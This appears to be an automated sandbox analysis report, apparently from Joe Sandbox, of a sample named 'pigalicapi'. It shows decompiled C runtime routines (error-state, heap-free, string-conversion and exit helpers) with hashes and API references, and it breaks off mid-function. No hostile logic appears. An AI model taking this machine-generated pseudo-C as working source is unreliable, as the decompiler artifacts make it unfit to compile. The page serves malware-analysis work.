Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0e25380f97129f0a05355ba1c082cf43b91258dad4189fe5dd706031a12bc249
Instruction ID: fc6ebd2cabf4be8617b0989ec198095fa2edb8965025d735064c0dacab19233f
Opcode Fuzzy Hash: 0e25380f97129f0a05355ba1c082cf43b91258dad4189fe5dd706031a12bc249
Instruction Fuzzy Hash: 4C118E71940B0CAAD620BBB1CC07FEB77DCAF10740F481824B3DEBA05ADB65F5499651

Uniqueness

Uniqueness Score: -1.00%

Function 00EFF424 Relevance: 10.6, APIs: 7, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E00EFF424(void* __ecx) {
				void* _t4;
				void* _t11;
				void* _t16;
				long _t25;
				void* _t28;

				if( *0xf8dda0 != 0xffffffff) {
					_t25 = GetLastError();
					_t11 = E00F0069E(__eflags,  *0xf8dda0);
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E00F006D8(__eflags,  *0xf8dda0, 0xffffffff);
							_pop(_t16);
							__eflags = _t4;
							if(_t4 != 0) {
								_t28 = E00EFA67D(_t16, 1, 0x28);
								__eflags = _t28;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E00F006D8(__eflags,  *0xf8dda0, 0);
								} else {
									__eflags = E00F006D8(__eflags,  *0xf8dda0, _t28);
									if(__eflags != 0) {
										_t11 = _t28;
										_t28 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E00EFA6DA(_t28);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t25);
					return _t11;
				} else {
					return 0;
				}
			}

0x00eff42b
0x00eff43e
0x00eff445
0x00eff448
0x00eff44b
0x00eff464
0x00eff464
0x00eff44d
0x00eff44d
0x00eff44f
0x00eff459
0x00eff45f
0x00eff460
0x00eff462
0x00eff472
0x00eff476
0x00eff478
0x00eff48c
0x00eff48c
0x00eff495
0x00eff47a
0x00eff488
0x00eff48a
0x00eff49e
0x00eff4a0
0x00eff4a0
0x00000000
0x00000000
0x00000000
0x00eff48a
0x00eff4a3
0x00000000
0x00000000
0x00000000
0x00eff462
0x00eff44f
0x00eff4ab
0x00eff4b5
0x00eff42d
0x00eff42f
0x00eff42f

APIs

GetLastError.KERNEL32(?,?,00EFF41B,00EFE807), ref: 00EFF432
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00EFF440
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00EFF459
SetLastError.KERNEL32(00000000,?,00EFF41B,00EFE807), ref: 00EFF4AB

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 2e7533c6965ebfc8c9b3f141eecbb6d8dbfdc59f9e983de0c064215a4aa561db
Instruction ID: dc2c37ac3501c1445c6c19deceb3fa4bd544a76d48acc677ff2e9f2fb8f26a06
Opcode Fuzzy Hash: 2e7533c6965ebfc8c9b3f141eecbb6d8dbfdc59f9e983de0c064215a4aa561db
Instruction Fuzzy Hash: 3001D43321A32D5EE7682B74AC869B73798EF417B9760433AFA34A50E5EF524C01B254

Uniqueness

Uniqueness Score: -1.00%

Function 00EF9C30 Relevance: 9.0, APIs: 6, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 72%

			E00EF9C30(void* __ebx, void* __ecx, void* __edx) {
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				void* _t3;
				void* _t4;
				intOrPtr _t9;
				void* _t11;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t31;
				void* _t32;
				long _t36;
				long _t37;
				void* _t40;

				_t29 = __edx;
				_t23 = __ecx;
				_t20 = __ebx;
				_t36 = GetLastError();
				_t2 =  *0xf8d70c; // 0x2
				_t42 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t3 = E00EFA67D(_t23, 1, 0x364);
					_t31 = _t3;
					_pop(_t25);
					if(_t31 != 0) {
						_t4 = E00EFA92D(_t25, _t36, __eflags,  *0xf8d70c, _t31);
						__eflags = _t4;
						if(_t4 != 0) {
							E00EF9AA2(_t25, _t31, 0xf8df44);
							E00EFA6DA(0);
							_t40 = _t40 + 0xc;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t31);
							goto L4;
						}
					} else {
						_push(_t3);
						L4:
						E00EFA6DA();
						_pop(_t25);
						L9:
						SetLastError(_t36);
						E00EFA63A(_t20, _t29, _t31, _t36);
						asm("int3");
						_push(_t20);
						_push(_t36);
						_push(_t31);
						_t37 = GetLastError();
						_t21 = 0;
						_t9 =  *0xf8d70c; // 0x2
						_t45 = _t9 - 0xffffffff;
						if(_t9 == 0xffffffff) {
							L12:
							_t32 = E00EFA67D(_t25, 1, 0x364);
							_pop(_t27);
							if(_t32 != 0) {
								_t11 = E00EFA92D(_t27, _t37, __eflags,  *0xf8d70c, _t32);
								__eflags = _t11;
								if(_t11 != 0) {
									E00EF9AA2(_t27, _t32, 0xf8df44);
									E00EFA6DA(_t21);
									__eflags = _t32;
									if(_t32 != 0) {
										goto L19;
									} else {
										goto L18;
									}
								} else {
									_push(_t32);
									goto L14;
								}
							} else {
								_push(_t21);
								L14:
								E00EFA6DA();
								L18:
								SetLastError(_t37);
							}
						} else {
							_t32 = E00EFA8D7(_t25, _t37, _t45, _t9);
							if(_t32 != 0) {
								L19:
								SetLastError(_t37);
								_t21 = _t32;
							} else {
								goto L12;
							}
						}
						return _t21;
					}
				} else {
					_t31 = E00EFA8D7(_t23, _t36, _t42, _t2);
					if(_t31 != 0) {
						L8:
						SetLastError(_t36);
						return _t31;
					} else {
						goto L2;
					}
				}
			}

0x00ef9c30
0x00ef9c30
0x00ef9c30
0x00ef9c3a
0x00ef9c3c
0x00ef9c41
0x00ef9c44
0x00ef9c52
0x00ef9c59
0x00ef9c5e
0x00ef9c61
0x00ef9c64
0x00ef9c76
0x00ef9c7b
0x00ef9c7d
0x00ef9c88
0x00ef9c8f
0x00ef9c94
0x00ef9c97
0x00ef9c99
0x00000000
0x00000000
0x00000000
0x00000000
0x00ef9c7f
0x00ef9c7f
0x00000000
0x00ef9c7f
0x00ef9c66
0x00ef9c66
0x00ef9c67
0x00ef9c67
0x00ef9c6c
0x00ef9ca7
0x00ef9ca8
0x00ef9cae
0x00ef9cb3
0x00ef9cb6
0x00ef9cb7
0x00ef9cb8
0x00ef9cbf
0x00ef9cc1
0x00ef9cc3
0x00ef9cc8
0x00ef9ccb
0x00ef9cd9
0x00ef9ce5
0x00ef9ce8
0x00ef9ceb
0x00ef9cfd
0x00ef9d02
0x00ef9d04
0x00ef9d0f
0x00ef9d15
0x00ef9d1d
0x00ef9d1f
0x00000000
0x00000000
0x00000000
0x00000000
0x00ef9d06
0x00ef9d06
0x00000000
0x00ef9d06
0x00ef9ced
0x00ef9ced
0x00ef9cee
0x00ef9cee
0x00ef9d21
0x00ef9d22
0x00ef9d22
0x00ef9ccd
0x00ef9cd3
0x00ef9cd7
0x00ef9d2a
0x00ef9d2b
0x00ef9d31
0x00000000
0x00000000
0x00000000
0x00ef9cd7
0x00ef9d38
0x00ef9d38
0x00ef9c46
0x00ef9c4c
0x00ef9c50
0x00ef9c9b
0x00ef9c9c
0x00ef9ca6
0x00000000
0x00000000
0x00000000
0x00ef9c50

APIs

GetLastError.KERNEL32(?,?,00EF5EB1,?,?,?,00EF4B88,?), ref: 00EF9C34
_free.LIBCMT ref: 00EF9C67
_free.LIBCMT ref: 00EF9C8F
SetLastError.KERNEL32(00000000,?), ref: 00EF9C9C
SetLastError.KERNEL32(00000000,?), ref: 00EF9CA8
_abort.LIBCMT ref: 00EF9CAE

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 78e08d62834cb65ac5edf2669a6642acd0b43d788e7d0bb7e4eb41c23f9310cc
Instruction ID: 4ba256307390915b0e7f8e47054eb9844a81f68be81a4af6c0bcd63bee0894c3
Opcode Fuzzy Hash: 78e08d62834cb65ac5edf2669a6642acd0b43d788e7d0bb7e4eb41c23f9310cc
Instruction Fuzzy Hash: FAF0A47150470C67C6113735AD09BBA36D9AFC17A4B2A6124FB9DFA1D3EF618C02A222

Uniqueness

Uniqueness Score: -1.00%

Function 00EFC24E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00EFC1FF,00EFA67C,?,00EFC19F,00EFA67C,00F4A700,0000000C,00EFC2F6,00EFA67C,00000002), ref: 00EFC26E
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00EFC281
FreeLibrary.KERNEL32(00000000,?,?,?,00EFC1FF,00EFA67C,?,00EFC19F,00EFA67C,00F4A700,0000000C,00EFC2F6,00EFA67C,00000002,00000000), ref: 00EFC2A4

Strings

CorExitProcess, xrefs: 00EFC279
mscoree.dll, xrefs: 00EFC267

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 8b811926ed5832942d38cb3e8543f4b392b9df5e86239c7ddd39dbb9938a796c
Instruction ID: 0ae0a17b080e8acc99f50a9b500447fc6c621b1ec6ec887e59f82bfc81112c41
Opcode Fuzzy Hash: 8b811926ed5832942d38cb3e8543f4b392b9df5e86239c7ddd39dbb9938a796c
Instruction Fuzzy Hash: 2CF0443160461CBBDB155FA0DD09BEDBFB5FF04715F104154FD09A21A1EBB08944EA91

Uniqueness

Uniqueness Score: -1.00%

Function 00EFA4FD Relevance: 7.6, APIs: 5, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00EFA4FD(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, int _a8, char* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28) {
				signed int _v8;
				int _v12;
				char _v16;
				intOrPtr _v24;
				char _v28;
				void* _v40;
				signed int _t34;
				signed int _t40;
				int _t46;
				int _t53;
				void* _t55;
				int _t57;
				signed int _t63;
				int _t67;
				short* _t69;
				signed int _t70;
				short* _t71;

				_t34 =  *0xf8dd74; // 0x3af7f1ec
				_v8 = _t34 ^ _t70;
				E00EF5E73(__ebx,  &_v28, __edx, _a4);
				_t57 = _a24;
				if(_t57 == 0) {
					_t53 =  *(_v24 + 8);
					_t57 = _t53;
					_a24 = _t53;
				}
				_t67 = 0;
				_t40 = MultiByteToWideChar(_t57, 1 + (0 | _a28 != 0x00000000) * 8, _a12, _a16, 0, 0);
				_v12 = _t40;
				if(_t40 == 0) {
					L15:
					if(_v16 != 0) {
						 *(_v28 + 0x350) =  *(_v28 + 0x350) & 0xfffffffd;
					}
					return E00EFDC5F(_v8 ^ _t70);
				}
				_t55 = _t40 + _t40;
				asm("sbb eax, eax");
				if((_t55 + 0x00000008 & _t40) == 0) {
					_t69 = 0;
					L11:
					if(_t69 != 0) {
						E00EFF070(_t67, _t69, _t67, _t55);
						_t46 = MultiByteToWideChar(_a24, 1, _a12, _a16, _t69, _v12);
						if(_t46 != 0) {
							_t67 = GetStringTypeW(_a8, _t69, _t46, _a20);
						}
					}
					L14:
					E00EFA61A(_t69);
					goto L15;
				}
				asm("sbb eax, eax");
				_t48 = _t40 & _t55 + 0x00000008;
				_t63 = _t55 + 8;
				if((_t40 & _t55 + 0x00000008) > 0x400) {
					asm("sbb eax, eax");
					_t69 = E00EFBD19(_t63, _t48 & _t63);
					if(_t69 == 0) {
						goto L14;
					}
					 *_t69 = 0xdddd;
					L9:
					_t69 =  &(_t69[4]);
					goto L11;
				}
				asm("sbb eax, eax");
				E00EFE270();
				_t69 = _t71;
				if(_t69 == 0) {
					goto L14;
				}
				 *_t69 = 0xcccc;
				goto L9;
			}

0x00efa505
0x00efa50c
0x00efa518
0x00efa51d
0x00efa522
0x00efa527
0x00efa52a
0x00efa52c
0x00efa52c
0x00efa531
0x00efa54a
0x00efa550
0x00efa555
0x00efa5f4
0x00efa5f8
0x00efa5fd
0x00efa5fd
0x00efa619
0x00efa619
0x00efa55b
0x00efa563
0x00efa567
0x00efa5b3
0x00efa5b5
0x00efa5b7
0x00efa5bc
0x00efa5d3
0x00efa5db
0x00efa5eb
0x00efa5eb
0x00efa5db
0x00efa5ed
0x00efa5ee
0x00000000
0x00efa5f3
0x00efa56e
0x00efa570
0x00efa572
0x00efa57a
0x00efa597
0x00efa5a1
0x00efa5a6
0x00000000
0x00000000
0x00efa5a8
0x00efa5ae
0x00efa5ae
0x00000000
0x00efa5ae
0x00efa57e
0x00efa582
0x00efa587
0x00efa58b
0x00000000
0x00000000
0x00efa58d
0x00000000

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,?), ref: 00EFA54A
__alloca_probe_16.LIBCMT ref: 00EFA582
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00EFA5D3
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00EFA5E5
__freea.LIBCMT ref: 00EFA5EE

Part of subcall function 00EFBD19: RtlAllocateHeap.NTDLL(00000000,?,?,?,00EFA5A1,00000000), ref: 00EFBD4B

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
String ID:
API String ID: 313313983-0
Opcode ID: da5127272e56589352ec62435d74174de06783e2fdcbce07b9bbfbbddf6d6481
Instruction ID: c5867af122828af2c64bbf9377e93293226abd3a4d4b8c63f4f2acf15919afa3
Opcode Fuzzy Hash: da5127272e56589352ec62435d74174de06783e2fdcbce07b9bbfbbddf6d6481
Instruction Fuzzy Hash: 1131BFB2A0021EABDF259F64DC41EBE7BA5EB40314B084168FD18EB251E735CD50CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EF9CB4 Relevance: 7.6, APIs: 5, Instructions: 53
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E00EF9CB4(void* __ecx, void* __edx) {
				void* __esi;
				intOrPtr _t2;
				void* _t4;
				void* _t10;
				void* _t11;
				void* _t13;
				void* _t16;
				long _t17;

				_t11 = __ecx;
				_t17 = GetLastError();
				_t10 = 0;
				_t2 =  *0xf8d70c; // 0x2
				_t20 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t16 = E00EFA67D(_t11, 1, 0x364);
					_pop(_t13);
					if(_t16 != 0) {
						_t4 = E00EFA92D(_t13, _t17, __eflags,  *0xf8d70c, _t16);
						__eflags = _t4;
						if(_t4 != 0) {
							E00EF9AA2(_t13, _t16, 0xf8df44);
							E00EFA6DA(_t10);
							__eflags = _t16;
							if(_t16 != 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t16);
							goto L4;
						}
					} else {
						_push(_t10);
						L4:
						E00EFA6DA();
						L8:
						SetLastError(_t17);
					}
				} else {
					_t16 = E00EFA8D7(_t11, _t17, _t20, _t2);
					if(_t16 != 0) {
						L9:
						SetLastError(_t17);
						_t10 = _t16;
					} else {
						goto L2;
					}
				}
				return _t10;
			}

0x00ef9cb4
0x00ef9cbf
0x00ef9cc1
0x00ef9cc3
0x00ef9cc8
0x00ef9ccb
0x00ef9cd9
0x00ef9ce5
0x00ef9ce8
0x00ef9ceb
0x00ef9cfd
0x00ef9d02
0x00ef9d04
0x00ef9d0f
0x00ef9d15
0x00ef9d1d
0x00ef9d1f
0x00000000
0x00000000
0x00000000
0x00000000
0x00ef9d06
0x00ef9d06
0x00000000
0x00ef9d06
0x00ef9ced
0x00ef9ced
0x00ef9cee
0x00ef9cee
0x00ef9d21
0x00ef9d22
0x00ef9d22
0x00ef9ccd
0x00ef9cd3
0x00ef9cd7
0x00ef9d2a
0x00ef9d2b
0x00ef9d31
0x00000000
0x00000000
0x00000000
0x00ef9cd7
0x00ef9d38

APIs

GetLastError.KERNEL32(?,?,?,00EF982B,00EFA6CF,?,00EF9C5E,00000001,00000364,?,00EF4B88,?), ref: 00EF9CB9
_free.LIBCMT ref: 00EF9CEE
_free.LIBCMT ref: 00EF9D15
SetLastError.KERNEL32(00000000,?), ref: 00EF9D22
SetLastError.KERNEL32(00000000,?), ref: 00EF9D2B

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: ddfda3d318e82465ed37e07e4eebf3d46d28b234d10ff0d63c7099a4ca42f9e0
Instruction ID: 743c3dd76e4ae65bdbef5ab11b59b76a2338546df72d732b98fb3c907524edaa
Opcode Fuzzy Hash: ddfda3d318e82465ed37e07e4eebf3d46d28b234d10ff0d63c7099a4ca42f9e0
Instruction Fuzzy Hash: 6C01D67620470C67C71226346D45A7A329DEFD13B973A2124FB5AF6193FFA18C016121

Uniqueness

Uniqueness Score: -1.00%

Function 00EFBB90 Relevance: 7.5, APIs: 5, Instructions: 40
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00EFBB90(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0xf8dd10; // 0xf8dd08
					if(_t23 != 0) {
						E00EFA6DA(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0xf8dd14; // 0xf8e181
					if(_t24 != 0) {
						E00EFA6DA(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0xf8dd18; // 0xf8e181
					if(_t25 != 0) {
						E00EFA6DA(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0xf8dd40; // 0xf8dd0c
					if(_t26 != 0) {
						E00EFA6DA(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0xf8dd44; // 0xf8e184
					if(_t27 != 0) {
						return E00EFA6DA(_t6);
					}
				}
				return _t6;
			}

0x00efbb96
0x00efbb9b
0x00efbb9f
0x00efbba5
0x00efbba8
0x00efbbad
0x00efbbb1
0x00efbbb7
0x00efbbba
0x00efbbbf
0x00efbbc3
0x00efbbc9
0x00efbbcc
0x00efbbd1
0x00efbbd5
0x00efbbdb
0x00efbbde
0x00efbbe3
0x00efbbe4
0x00efbbe7
0x00efbbed
0x00000000
0x00efbbf5
0x00efbbed
0x00efbbf8

APIs

_free.LIBCMT ref: 00EFBBA8

Part of subcall function 00EFA6DA: HeapFree.KERNEL32(00000000,00000000,?,00EFBC27,?,00000000,?,00000000,?,00EFBC4E,?,00000007,?,?,00EFADC4,?), ref: 00EFA6F0
Part of subcall function 00EFA6DA: GetLastError.KERNEL32(?,?,00EFBC27,?,00000000,?,00000000,?,00EFBC4E,?,00000007,?,?,00EFADC4,?,?), ref: 00EFA702

_free.LIBCMT ref: 00EFBBBA
_free.LIBCMT ref: 00EFBBCC
_free.LIBCMT ref: 00EFBBDE
_free.LIBCMT ref: 00EFBBF0

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b65910a4bee763ec83c3929f7bc75cd142a960bef7c88a6b7cf4404cc0029d84
Instruction ID: 341726da726927beba1f7c0c6f7cb7f305e5b5cf2ef6d8b6bbe0d0175a58442f
Opcode Fuzzy Hash: b65910a4bee763ec83c3929f7bc75cd142a960bef7c88a6b7cf4404cc0029d84
Instruction Fuzzy Hash: 80F0497351820CAB8620EF58EA82C7A73DDBF003943692805F60DFB941CB20FC809A68

Uniqueness

Uniqueness Score: -1.00%

Function 00F0160F Relevance: 7.5, APIs: 5, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00F0160F(signed int __ecx) {
				intOrPtr _t7;

				asm("lock xadd [eax], ecx");
				if((__ecx | 0xffffffff) == 0) {
					_t7 =  *0xf8dd00; // 0x1662758
					if(_t7 != 0xf8dae0) {
						E00EFA6DA(_t7);
						 *0xf8dd00 = 0xf8dae0;
					}
				}
				E00EFA6DA( *0xf8ea34);
				 *0xf8ea34 = 0;
				E00EFA6DA( *0xf8ea38);
				 *0xf8ea38 = 0;
				E00EFA6DA( *0xf8e818);
				 *0xf8e818 = 0;
				E00EFA6DA( *0xf8e81c);
				 *0xf8e81c = 0;
				return 1;
			}

0x00f01618
0x00f0161c
0x00f0161e
0x00f0162a
0x00f0162d
0x00f01633
0x00f01633
0x00f0162a
0x00f0163f
0x00f0164c
0x00f01652
0x00f0165d
0x00f01663
0x00f0166e
0x00f01674
0x00f0167c
0x00f01685

APIs

_free.LIBCMT ref: 00F0162D

Part of subcall function 00EFA6DA: HeapFree.KERNEL32(00000000,00000000,?,00EFBC27,?,00000000,?,00000000,?,00EFBC4E,?,00000007,?,?,00EFADC4,?), ref: 00EFA6F0
Part of subcall function 00EFA6DA: GetLastError.KERNEL32(?,?,00EFBC27,?,00000000,?,00000000,?,00EFBC4E,?,00000007,?,?,00EFADC4,?,?), ref: 00EFA702

_free.LIBCMT ref: 00F0163F
_free.LIBCMT ref: 00F01652
_free.LIBCMT ref: 00F01663
_free.LIBCMT ref: 00F01674

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 6ba73ea289487e863000f34b74300d981545b20dde193c504260ed5640f34275
Instruction ID: 77deb841f9610d836894acc9c5aabf15e3255673bf58c0d3f599d702a9b41391
Opcode Fuzzy Hash: 6ba73ea289487e863000f34b74300d981545b20dde193c504260ed5640f34275
Instruction Fuzzy Hash: 39F05EB181412CABDA096F14BD428B83BA4FB24BA030E5126F409AA6B1C7350941FFCA

Uniqueness

Uniqueness Score: -1.00%

Function 00F00FD5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00F00FD5(intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t35;
				struct HINSTANCE__* _t36;
				struct HINSTANCE__* _t42;
				intOrPtr* _t43;
				intOrPtr* _t44;
				WCHAR* _t48;
				struct HINSTANCE__* _t49;
				struct HINSTANCE__* _t53;
				intOrPtr* _t56;
				struct HINSTANCE__* _t61;
				intOrPtr _t62;

				if(_a4 == 2 || _a4 == 1) {
					GetModuleFileNameW(0, 0xf8e5f0, 0x104);
					_t48 =  *0xf8e824; // 0x1651c30
					 *0xf8e828 = 0xf8e5f0;
					if(_t48 == 0 ||  *_t48 == 0) {
						_t48 = 0xf8e5f0;
					}
					_v8 = 0;
					_v16 = 0;
					E00F010F4(_t48, 0, 0,  &_v8,  &_v16);
					_t61 = E00F0127A(_v8, _v16, 2);
					if(_t61 != 0) {
						E00F010F4(_t48, _t61, _t61 + _v8 * 4,  &_v8,  &_v16);
						if(_a4 != 1) {
							_v12 = 0;
							_push( &_v12);
							_t49 = E00F01CBE(_t48, 0, _t61, _t61);
							if(_t49 == 0) {
								_t56 = _v12;
								_t53 = 0;
								_t35 = _t56;
								if( *_t56 == 0) {
									L15:
									_t36 = 0;
									 *0xf8e814 = _t53;
									_v12 = 0;
									_t49 = 0;
									 *0xf8e81c = _t56;
									L16:
									E00EFA6DA(_t36);
									_v12 = 0;
									goto L17;
								} else {
									goto L14;
								}
								do {
									L14:
									_t35 = _t35 + 4;
									_t53 =  &(_t53->i);
								} while ( *_t35 != 0);
								goto L15;
							}
							_t36 = _v12;
							goto L16;
						}
						 *0xf8e814 = _v8 - 1;
						_t42 = _t61;
						_t61 = 0;
						 *0xf8e81c = _t42;
						goto L10;
					} else {
						_t43 = E00EF9826();
						_push(0xc);
						_pop(0);
						 *_t43 = 0;
						L10:
						_t49 = 0;
						L17:
						E00EFA6DA(_t61);
						return _t49;
					}
				} else {
